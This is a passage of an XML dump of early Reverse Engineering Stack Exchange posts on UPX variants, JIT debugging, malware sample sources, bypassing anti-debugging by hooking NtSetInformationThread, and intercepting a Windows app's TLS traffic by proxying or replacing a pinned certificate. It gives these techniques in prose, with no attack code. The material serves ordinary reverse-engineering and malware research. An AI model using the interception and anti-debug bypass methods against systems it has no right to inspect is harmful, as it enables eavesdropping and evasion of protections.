into a program without one.&lt;/li&gt;&#xA;&lt;li&gt;Adding a new save/export-format for files (if there is no way to convert the output-format into a desired format, or if crucial information is missing in the exported files).&lt;/li&gt;&#xA;&lt;li&gt;Adding a new import-format (if there is no way to convert the input-format into a importable-format or if some information is not correctly imported).&lt;/li&gt;&#xA;&lt;li&gt;Extending Mspaint with a colour search-and-replace tool (within a selection, or in the whole picture)&lt;/li&gt;&lt;li&gt;Adding Proxy Support/Basic Proxy-Authentication to a Program.&lt;/li&gt;&lt;li&gt;Adding (new) Command line switches to a program that expose new/existing Features.&lt;/li&gt;&lt;li&gt;Adding a API for Remote Procedure-Calls to Manage the Operations of the Programm externally.&lt;/li&gt;&lt;li&gt;Adding Scripting-Support to automate often repeated Operations (If there is no plugin-/scripting-API to begin with) or support batch processing.&lt;/li&gt;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regarding wrapped Code &amp;amp; Decompilers:&lt;/strong&gt;&lt;br&gt;&#xA;I will not talk about wrapped Code in other Languages that is packaged with a VM / an Interpreter (Py2Exe, Java 2 Exe, ...), or uses an installed one (JVM, C#). There are pretty good Decompilers for some of those cases. After a successful decompilation it pretty much boils down to defeating the Code Obfuscation (if there is one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regarding C/C++-Decompilers:&lt;/strong&gt;&lt;br&gt;&#xA;I cannot talk about C/C++-Decompilers, though it would boil down to best-effort HLL-Remapping (for stuff the Decompiler did not get) and Code-Deobfuscation (if it was compiled without Symbols) provided there is no further Protection in the Executeable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reccommendation regarding HLL-mapping:&lt;/strong&gt;&lt;br&gt;&#xA;In essence a big part of this Question concerns &quot;HLL mapping&quot; (High level language mapping (in machine code)) of and the modification of these constructs in the corresponding machine code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found an excellent downloadable starting course, that uses &quot;IDA Free&quot;, on this Topic &lt;a href=&quot;http://binary-auditing.com/&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Free IDA Pro Binary Auditing Training Material for University Lectures&quot;&gt;here&lt;/a&gt; (binary-auditing.com).&lt;/p&gt;&#xA;" OwnerUserId="127" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2013-03-23T17:06:38.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="197" PostTypeId="1" AcceptedAnswerId="205" CreationDate="2013-03-23T18:38:09.513" Score="10" ViewCount="800" Body="&lt;p&gt;A lot of code I encounter today has a considerable amount of code generated at runtime, making analysis extremely laborious and time consuming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can create symbolic names for the various functions introduced by the JIT compiler that keep cropping up, or for the various artifacts (such as type information) introduced into the executable through the JIT compiler in GDB or WinDBG?&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2013-03-23T19:20:20.517" LastActivityDate="2019-10-12T03:15:06.600" Title="How can I analyze a program that uses a JIT compiled code?" Tags="|debuggers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="198" PostTypeId="1" AcceptedAnswerId="203" CreationDate="2013-03-23T20:12:39.453" Score="15" ViewCount="1467" Body="&lt;p&gt;Recently I asked a &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/168/214&quot;&gt; question about detecting UPX compression&lt;/a&gt;. &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/245/0xc0000022l&quot;&gt;0xC0000022L&lt;/a&gt; wanted to know if it was plain UPX. However until that point I only was aware of &lt;a href=&quot;http://upx.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;plain UPX&lt;/a&gt;. So my question is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What versions/modifications of UPX exist?&lt;/li&gt;&#xA;&lt;li&gt;How do they differ? What features do they have?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="214" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-04-17T04:44:25.040" Title="What different UPX formats exist and how do they differ?" Tags="|upx|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="199" PostTypeId="5" CreationDate="2013-03-23T20:20:00.540" Score="0" Body="&lt;p&gt;exe is a filename extension on Microsoft Windows. These files usually have the PE (Portable Executable) file format. These files contain many components called resources, such as bitmaps and icons which the executable program may use for its graphical user interface.&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-04-01T14:13:28.033" LastActivityDate="2013-04-01T14:13:28.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="200" PostTypeId="4" CreationDate="2013-03-23T20:20:00.540" Score="0" Body="exe is a filename extension on Microsoft Windows. These files have usually the PE (Portable Executable) file format." OwnerUserId="214" LastEditorUserId="189" LastEditDate="2013-04-01T14:13:44.877" LastActivityDate="2013-04-01T14:13:44.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="201" PostTypeId="5" CreationDate="2013-03-23T20:24:29.240" Score="0" Body="&lt;p&gt;Linux or GNU/Linux is a free and open source operating system. The operating system comprises of the Linux kernel, created and first released by Linus Torvalds, and a set of applications from the GNU project, hence the name GNU/Linux. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tag should be used when the problem involves Linux kernel specific attributes. If the problem is a general problem and happens to be environment (kernel) agnostic, then this tag should not be used.&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="53" LastEditDate="2013-12-18T08:16:14.467" LastActivityDate="2013-12-18T08:16:14.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="202" PostTypeId="4" CreationDate="2013-03-23T20:24:29.240" Score="0" Body="A free and open source POSIX compatible operating system with a monolithic kernel and a kernel module system. Originally created by Linus Torvalds." OwnerUserId="214" LastEditorUserId="53" LastEditDate="2013-12-18T08:16:06.450" LastActivityDate="2013-12-18T08:16:06.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="203" PostTypeId="2" ParentId="198" CreationDate="2013-03-23T20:29:10.833" Score="12" Body="&lt;p&gt;I will ignore that there's multiple compression algorithms in UPX and that there's been multiple versions of UPX. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally when people ask if it's plain or vanilla UPX it's because malware and other software likes to take UPX and modify it slightly so that it can't be unpacked with the standard UPX executable and so that anti viruses will have a harder time unpacking it. It's not very effective at counteracting reverse engineering.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2013-03-23T20:29:10.833" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="204" PostTypeId="2" ParentId="186" CreationDate="2013-03-23T20:31:09.977" Score="10" Body="&lt;p&gt;There is a purely theoretical metric for code obfuscation based on abstract interpretation which is delightful.  It relies upon the fact that abstract interpretations are comparable with respect to their precision.  In particular, in the upper closure operator formulation of abstract interpretation -- where an upper closure operator is created by composing the abstraction and concretization functions, forming a map from the concrete domain to itself -- we can compare the potency of two abstract interpretations by partially-ordering the set of fixedpoints of a given closure map.  An operator with strictly more fixedpoints is more precise than, say, one that maps everything to top.&lt;/p&gt;&#xA;&lt;p&gt;In order to compare obfuscations, we consider the set of abstract interpretations over the original version of the program, and then also over the obfuscated version.  Now we can use the same construction described above to compare the potency of obfuscating transformations.  Given some observable property &lt;em&gt;a&lt;/em&gt;, as encoded by an abstract interpretation, we say that the obfuscator is &lt;em&gt;potent for a&lt;/em&gt; if, when preserving abstract interpretation with respect to that property, the fixedpoint is different for the original version versus the transformed version.&lt;/p&gt;&#xA;&lt;p&gt;Read more here:  &lt;a href=&quot;https://web.archive.org/web/20130610154533/http://profs.sci.univr.it/%7Edallapre/ICALP05.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://profs.sci.univr.it/~dallapre/ICALP05.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="245" LastEditDate="2023-01-09T08:40:11.683" LastActivityDate="2023-01-09T08:40:11.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="205" PostTypeId="2" ParentId="197" CreationDate="2013-03-23T20:47:00.377" Score="8" Body="&lt;p&gt;For .net there's &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/bb190764.aspx&quot; rel=&quot;noreferrer&quot;&gt;SOS.dll&lt;/a&gt; and WinDbg.  You can find versions, for each version of installed .NET frameworks, in sub-folders in &lt;em&gt;&lt;code&gt;%SYSTEMROOT%\Microsoft.NET\Framework\&lt;/code&gt;&lt;/em&gt;. You can load it into WinDbg by typing &lt;code&gt;.load&lt;/code&gt; and the full path to the SOS dll. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;!name2ee&lt;/code&gt; to get the method table of class, &lt;code&gt;!dumpmt&lt;/code&gt; to dump the method table, &lt;code&gt;!dumpmd&lt;/code&gt; to dump the method descriptor for the method you want to look at, CodeAddr is the address of the JITed code, and finally &lt;code&gt;!U&lt;/code&gt; to disassemble the code address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to a &lt;a href=&quot;http://dpaoliello.wordpress.com/2012/02/05/getting-the-disassembly-and-il-for-a-jittedngened-net-method-using-windbg-and-sos-dll/&quot; rel=&quot;noreferrer&quot;&gt;blog describing the process&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm actually not sure what you'd gain from attacking the JIT-compiled code though since it's almost always the case that the source VM is simpler and heavily type annotated. It's almost always easier to attack the intermediate language. The only reason I can think of is if you want to use the optimizations of the JIT to eliminate obfuscation. Even then it's probably easier to apply the optimization passes to the intermediate language. I suppose there's also the case when you want to massage the JIT code such that it can be reused in some sort of exploit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I misunderstanding the question?&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="245" LastEditDate="2013-04-17T05:14:40.700" LastActivityDate="2013-04-17T05:14:40.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="206" PostTypeId="1" AcceptedAnswerId="207" CreationDate="2013-03-23T21:36:15.177" Score="132" ViewCount="126500" Body="&lt;p&gt;It seems that a popular use of software reverse engineering skills is to reverse malicious code in an effort to build better protection for users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bottleneck here for people aspiring to break into the security industry through this path seems to be easy access to new malicious code samples to practice on and build heuristics for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any good resources for a person unaffiliated with any organization to download malware in bulk to run analysis on?&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="1654" LastEditDate="2013-04-08T23:07:34.063" LastActivityDate="2019-03-25T21:02:41.697" Title="Where can I, as an individual, get malware samples to analyze?" Tags="|malware|" AnswerCount="14" CommentCount="3" CommunityOwnedDate="2015-07-16T07:01:20.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="207" PostTypeId="2" ParentId="206" CreationDate="2013-03-23T21:52:27.890" Score="94" Body="&lt;p&gt;There's a number of interesting resources you can get malware from&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The premier Malware sample dump &lt;a href=&quot;http://contagiodump.blogspot.com/&quot;&gt;Contagio&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.kernelmode.info/forum/viewforum.php?f=16&quot;&gt;KernelMode.info&lt;/a&gt; (Focuses on Win32 and novel rootkit techniques)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.damagelab.org&quot;&gt;DamageLab.org&lt;/a&gt; (People occassionally will post their unpacked executables here, which differ from 'in the wild' executables they are seeking to drop on victim's computers, but interesting none the less, many many rips of more well known techniques and software ranging from TDL to Zeus can be found at sites like this) &lt;/li&gt;&#xA;&lt;li&gt;The multitude of malware dump sites such as &lt;a href=&quot;http://www.malwareblacklist.com/showMDL.php&quot;&gt;MalwareBlacklist&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;As qbi kindly pointed out, &lt;a href=&quot;http://avcaesar.lu/&quot;&gt;Malware.lu&lt;/a&gt; (You have to register for the samples)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In addition to these, you can always live dangerously and click on shady affiliate marketing ads or find various signatures for the multitude of &quot;&lt;em&gt;BEPs&quot;&lt;/em&gt; (Browser Exploit Packs) that malware authors frequently use to get installs and analyze the payload to try to find what they are trying to download and exec.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="3721" LastEditDate="2014-01-21T20:43:32.560" LastActivityDate="2014-01-21T20:43:32.560" CommentCount="5" CommunityOwnedDate="2015-07-16T07:01:20.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="208" PostTypeId="2" ParentId="206" CreationDate="2013-03-23T21:54:24.173" Score="24" Body="&lt;p&gt;I'd suggest &lt;a href=&quot;http://avcaesar.lu/&quot;&gt;Malware.lu&lt;/a&gt;. The website writes (as of 2013-03-23):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Currently the database contains &lt;strong&gt;5,356,052&lt;/strong&gt; samples. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;First you have to request an account. The website lists an email address. You can send a few words why you want to have an account there. After some time they send you your login data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can access the data through the website, but they also provide an API. See example &lt;a href=&quot;https://code.google.com/p/malware-lu/source/browse/tools/malwarelu.py&quot;&gt;Python code&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="214" LastEditorUserId="3721" LastEditDate="2014-01-21T19:37:14.553" LastActivityDate="2014-01-21T19:37:14.553" CommentCount="0" CommunityOwnedDate="2015-07-16T07:01:20.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="209" PostTypeId="1" AcceptedAnswerId="210" CreationDate="2013-03-23T22:18:53.200" Score="8" ViewCount="914" Body="&lt;p&gt;I'm sure many of you are familiar with this classic antidebug trick accomplished by calling &lt;code&gt;ZwSetInformationThread&lt;/code&gt; with &lt;code&gt;ThreadInformationClass&lt;/code&gt; set to 0x11. Although many OllyDbg modules exist for the purposes of revealing the existence of threads hidden with this method, I haven't been able to find any information on the canonical technique employed to unhide these threads in OllyDbg. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the function generally hooked in user mode (e.g &lt;code&gt;SetWindowsHookEx&lt;/code&gt;), or is it more pragmatic to patch instructions that either call the NTDLL function directly or system calls which indirectly invoke it?&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2013-03-23T22:51:24.500" Title="Canonical method to circumvent the ZwSetInformationThread antidebugging technique" Tags="|windows|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="210" PostTypeId="2" ParentId="209" CreationDate="2013-03-23T22:51:24.500" Score="6" Body="&lt;p&gt;SetWindowsHookEx isn't really used for this sort of hooking as far as I'm aware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could hook NtSetInformationThread in the import of the binary you want to analyze and make it always return success on ThreadHideFromDebugger but not forward the call to the actual function. This would be weak since GetProcAddress or manual imports would bypass it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could hook the NtSetInformationThread function by inserting a call to your own function in the function prologue and then ignore ThreadHideFromDebugger while forwarding the rest to the original function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I strong advice against it but for the sake of completeness, you could also hook NtSetInformationThread in the &lt;a href=&quot;http://en.wikipedia.org/wiki/System_Service_Dispatch_Table&quot; rel=&quot;noreferrer&quot;&gt;system service dispatch table&lt;/a&gt;. There's a good dump of the table for different Windows versions &lt;a href=&quot;http://j00ru.vexillium.org/ntapi/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. If you want to get the index in the table yourself you can just disassemble the NtSetInformationThread export from ntdll.dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're interested in more anti-debugging techniques strongly recommend reading &lt;a href=&quot;http://pferrie.host22.com/papers/antidebug.pdf&quot; rel=&quot;noreferrer&quot;&gt;Peter Ferrie's awesome anti-debugging reference&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2013-03-23T22:51:24.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="211" PostTypeId="1" AcceptedAnswerId="223" CreationDate="2013-03-23T23:42:30.040" Score="14" ViewCount="2339" Body="&lt;p&gt;In Windows Store application development for Windows 8, there is a class called remoteSettings that lets a developer store batches of data so that the user will have access to it across several machines, as long as they are logged in with the same account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hooked up WireShark and discovered that the packet is stored in Azure, and is secured with TLS. I would like to MITM myself so that I can decrypt the packet and see if the data in encrypted on Azure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I obviously don't have the private key for Azure, so I'd like to know if anyone has an idea on how to accomplish that MITM analysis.&lt;/p&gt;&#xA;" OwnerUserId="282" LastActivityDate="2021-03-16T21:23:41.987" Title="Decryping TLS packets between Windows 8 apps and Azure" Tags="|decryption|windows-8|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="212" PostTypeId="2" ParentId="198" CreationDate="2013-03-24T00:11:30.280" Score="5" Body="&lt;p&gt;I'm not sure if this is what you're asking, but UPX has multiple ways of compressing a given format. For example, an ELF &#xA; - can be decompressed directly into memory&#xA; - can be decompressed into /tmp and executed from there&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default the first option is preferred, but I don't think it's mandatory. See the &lt;a href=&quot;http://linux.die.net/man/1/upx&quot;&gt;UPX Manual&lt;/a&gt; for details.&lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2013-03-24T00:11:30.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="213" PostTypeId="2" ParentId="211" CreationDate="2013-03-24T02:01:47.490" Score="5" Body="&lt;p&gt;There are a number of approaches you could take with extracting the local key being used by Windows Store and feeding that into Wireshark, however, I think your best bet is to inject a DLL that hooks the Network IO functions &lt;code&gt;send()&lt;/code&gt; and &lt;code&gt;recv()&lt;/code&gt;  out of your process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try to do this on a &quot;low level&quot; yourself, but in the interest of pragmatism you'd be wise to examine Microsoft Detours for hooking, there are so many examples that utilize it - it's easy enough now that knowing your function prototype is the only essential requirement.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2013-03-24T02:07:19.900" LastActivityDate="2013-03-24T02:07:19.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="214" PostTypeId="5" CreationDate="2013-03-24T02:46:06.063" Score="0" Body="&lt;p&gt;Hardware reverse engineering differ drastically from software reverse engineering in terms of techniques and way of thinking and, last but not least, in term of budget. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hardware reverse engineering often requires to break devices in order to understand their internal processes. And, on the contrary to software, breaking hardware devices is costly (and cannot be easily reverted) and required to get a lot of the analyzed device. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the time, reversing a hardware device come together with trying to collect a lot of devices (possibly partially broken) from local reseller that collect broken devices or buy it from other individuals (mostly on Internet websites).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another difference with software reverse engineering is that you will need to build specific devices to ease the communication with the device. A typical example is to connect a JTAG to the device to get a full memory access (and more) on it. This task is quite easy if the JTAG controller is still present on the device but quite tedious if you have to do it yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, hardware reverse engineering really differ in terms of knowledge and skills. Real competences in electronics (both in theory and practice), VHDL and how to set-up an FPGA, and so on, are needed to get through.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="13506" LastEditDate="2018-11-06T22:37:17.147" LastActivityDate="2018-11-06T22:37:17.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="215" PostTypeId="4" CreationDate="2013-03-24T02:46:06.063" Score="0" Body="Any physical device analyzed for reverse engineering purpose. This tag is used to denote that the question is about hardware reverse engineering and not (only) about software reverse engineering." OwnerUserId="189" LastEditorUserId="53" LastEditDate="2013-12-17T10:42:40.030" LastActivityDate="2013-12-17T10:42:40.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="216" PostTypeId="5" CreationDate="2013-03-24T02:51:40.610" Score="0" Body="&lt;p&gt;Disassembly refers to the translation of machine code into &lt;a href=&quot;https://en.wikipedia.org/wiki/Assembly_language&quot; rel=&quot;nofollow&quot;&gt;assembly code&lt;/a&gt;, that is a mnemonic form of the underlying &lt;a href=&quot;https://en.wikipedia.org/wiki/Machine_code&quot; rel=&quot;nofollow&quot;&gt;machine code&lt;/a&gt;. The code generated from a disassembler is usually human readable and not formatted for input to an assembler.  Unlike &lt;a href=&quot;/questions/tagged/decompilation&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'decompilation'&quot; rel=&quot;tag&quot;&gt;decompilation&lt;/a&gt;, disassembly operates on much lower-level languages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembling is not an exact science, so it is possible for a single program to have two or more reasonable representations in disassembly. Determining which instructions would actually be encountered during a run of the program reduces to the halting problem, which is currently proven to be unsolvable. Additionally it is a challenge to distinguish code from data during a disassembler run, which can be countered using heuristics in many cases and requires human interaction in other cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Disassembler&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt; on the disassembler:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A &lt;strong&gt;disassembler&lt;/strong&gt; is a computer program that translates machine language into assembly language—the inverse operation to that of an assembler. A disassembler differs from a decompiler, which targets a high-level language rather than an assembly language. Disassembly, the output of a disassembler, is often formatted for human-readability rather than suitability for input to an assembler, making it principally a reverse-engineering tool.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Disassemblers&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;More can be found in the &lt;a href=&quot;/questions/tagged/tools&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'tools'&quot; rel=&quot;tag&quot;&gt;tools&lt;/a&gt; tag-wiki.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;https://code.google.com/p/distorm/&quot; rel=&quot;nofollow&quot;&gt;distorm&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;From the website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;diStorm is a lightweight, easy-to-use and &lt;strong&gt;fast&lt;/strong&gt; decomposer library.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;diStorm disassembles instructions in 16, 32 and 64 bit modes. Supported instruction sets: FPU, MMX, SSE, SSE2, SSE3, SSSE3, SSE4, 3DNow! (w/ extensions), new x86-64 instruction sets, VMX, AMD's SVM and AVX!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/index.shtml&quot; rel=&quot;nofollow&quot;&gt;IDA&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;From the website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;IDA is a Windows, Linux or Mac OS X hosted multi-processor disassembler and debugger that offers so many features it is hard to describe them all. Just grab an evaluation version if you want a test drive.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;An &lt;a href=&quot;https://www.hex-rays.com/products/ida/ida-executive.pdf&quot; rel=&quot;nofollow&quot;&gt;executive summary&lt;/a&gt; is provided for the non-technical user.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="189" LastEditorUserId="245" LastEditDate="2013-04-17T05:27:39.593" LastActivityDate="2013-04-17T05:27:39.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="217" PostTypeId="4" CreationDate="2013-03-24T02:51:40.610" Score="0" Body="The translation of machine code into a human readable assembly code, also the result of such translation." OwnerUserId="189" LastEditorUserId="53" LastEditDate="2013-12-17T08:00:28.703" LastActivityDate="2013-12-17T08:00:28.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="218" PostTypeId="5" CreationDate="2013-03-24T02:53:51.807" Score="0" Body="&lt;p&gt;Windows refers to the Microsoft Windows series of operating systems. It is a proprietary, graphical user interface based system. The latest versions are Windows 8 and Server 2012 respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tag should be used only for questions that involve attributes of the Windows platform. It should not be used for OS agnostic questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A list of readings concerning reverse code engineering on Windows &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/1755/245&quot;&gt;can be found here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="3371" LastEditDate="2017-08-27T20:58:18.033" LastActivityDate="2017-08-27T20:58:18.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="219" PostTypeId="4" CreationDate="2013-03-24T02:53:51.807" Score="0" Body="Windows refers to the Microsoft Windows series of operating systems." OwnerUserId="189" LastEditorUserId="53" LastEditDate="2013-12-17T08:00:56.770" LastActivityDate="2013-12-17T08:00:56.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="220" PostTypeId="5" CreationDate="2013-03-24T02:56:20.993" Score="0" Body="&lt;p&gt;A &lt;a href=&quot;http://en.wikipedia.org/wiki/Compiler&quot; rel=&quot;nofollow&quot;&gt;compiler&lt;/a&gt; is a computer program (or set of programs) that transforms source code written in a programming language (the source language) into another computer language (the target language, often having a binary form known as object code). The most common reason for wanting to transform source code is to create an executable program.&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-03-24T15:34:16.543" LastActivityDate="2013-03-24T15:34:16.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="221" PostTypeId="4" CreationDate="2013-03-24T02:56:20.993" Score="0" Body="A computer program that transforms source code into the target language, often having a binary form known as object code." OwnerUserId="189" LastEditorUserId="53" LastEditDate="2013-12-21T15:22:48.930" LastActivityDate="2013-12-21T15:22:48.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="222" PostTypeId="2" ParentId="206" CreationDate="2013-03-24T03:39:34.333" Score="32" Body="&lt;p&gt;I use &lt;a href=&quot;http://virusshare.com/&quot;&gt;VirusShare.com&lt;/a&gt;, which has about 5.6 million samples. You will need to request access, but I just explained the research I was doing (as a person unaffiliated with any organisation) and they let me in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question mentioned downloading in bulk. The site says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Want more than a few samples? Want to download really large samples of malware? Want to download almost the entire corpus? No problem.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The site provides torrents, each consisting of over 100k samples (ranging in size from 13GB to 85GB). Each torrent is a single zip file. You can also download individual files, but if you don't want to download them in bulk, you may be better off looking at one of the other excellent answers.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-04-09T00:28:36.143" LastActivityDate="2013-04-09T00:28:36.143" CommentCount="1" CommunityOwnedDate="2015-07-16T07:01:20.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="223" PostTypeId="2" ParentId="211" CreationDate="2013-03-24T08:55:45.590" Score="10" Body="&lt;p&gt;If the data is being passed as HTTPS you could try the classic &lt;a href=&quot;http://www.fiddler2.com/fiddler2/&quot; rel=&quot;noreferrer&quot;&gt;Fiddler&lt;/a&gt; man-in-the-middle approach. I'm not sure whether the Windows store respects the proxy settings or whether it has a pinned certificate. If it does respect the proxy settings, which it should, and it doesn't have a pinned certificate you should be able to trivially man-in-the-middle it with Fiddler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the data isn't HTTPS and the cerificate isn't pinned, one option is to proxy the secure connection using &lt;a href=&quot;http://www.gomor.org/bin/view/GomorOrg/SslNetcat&quot; rel=&quot;noreferrer&quot;&gt;SSLNetcat&lt;/a&gt;. What you do is that you change your hosts file so that the Store executable connects to SSLNetcat running locally, then you set up SSLNetcat such that it uses a cerificate for which you have the private key. Then you either just have SSLNetcat forward the data directly to a program of your choice or enter the private keys into Wireshark and use it to sniff the traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the data isn't HTTPS, if the cerificate in the binary is pinned and not stored in a file, you can either patch the Windows Store executable and replace the certificate with your own for which you have the private key. OpenSSL should be able to generate a replacement certificate for you easily. This private key can then be entered into Wireshark which will then decrypt the traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're fairly close to copy protection territory so you might run into a number of complications.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2013-03-27T06:15:30.093" LastActivityDate="2013-03-27T06:15:30.093" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
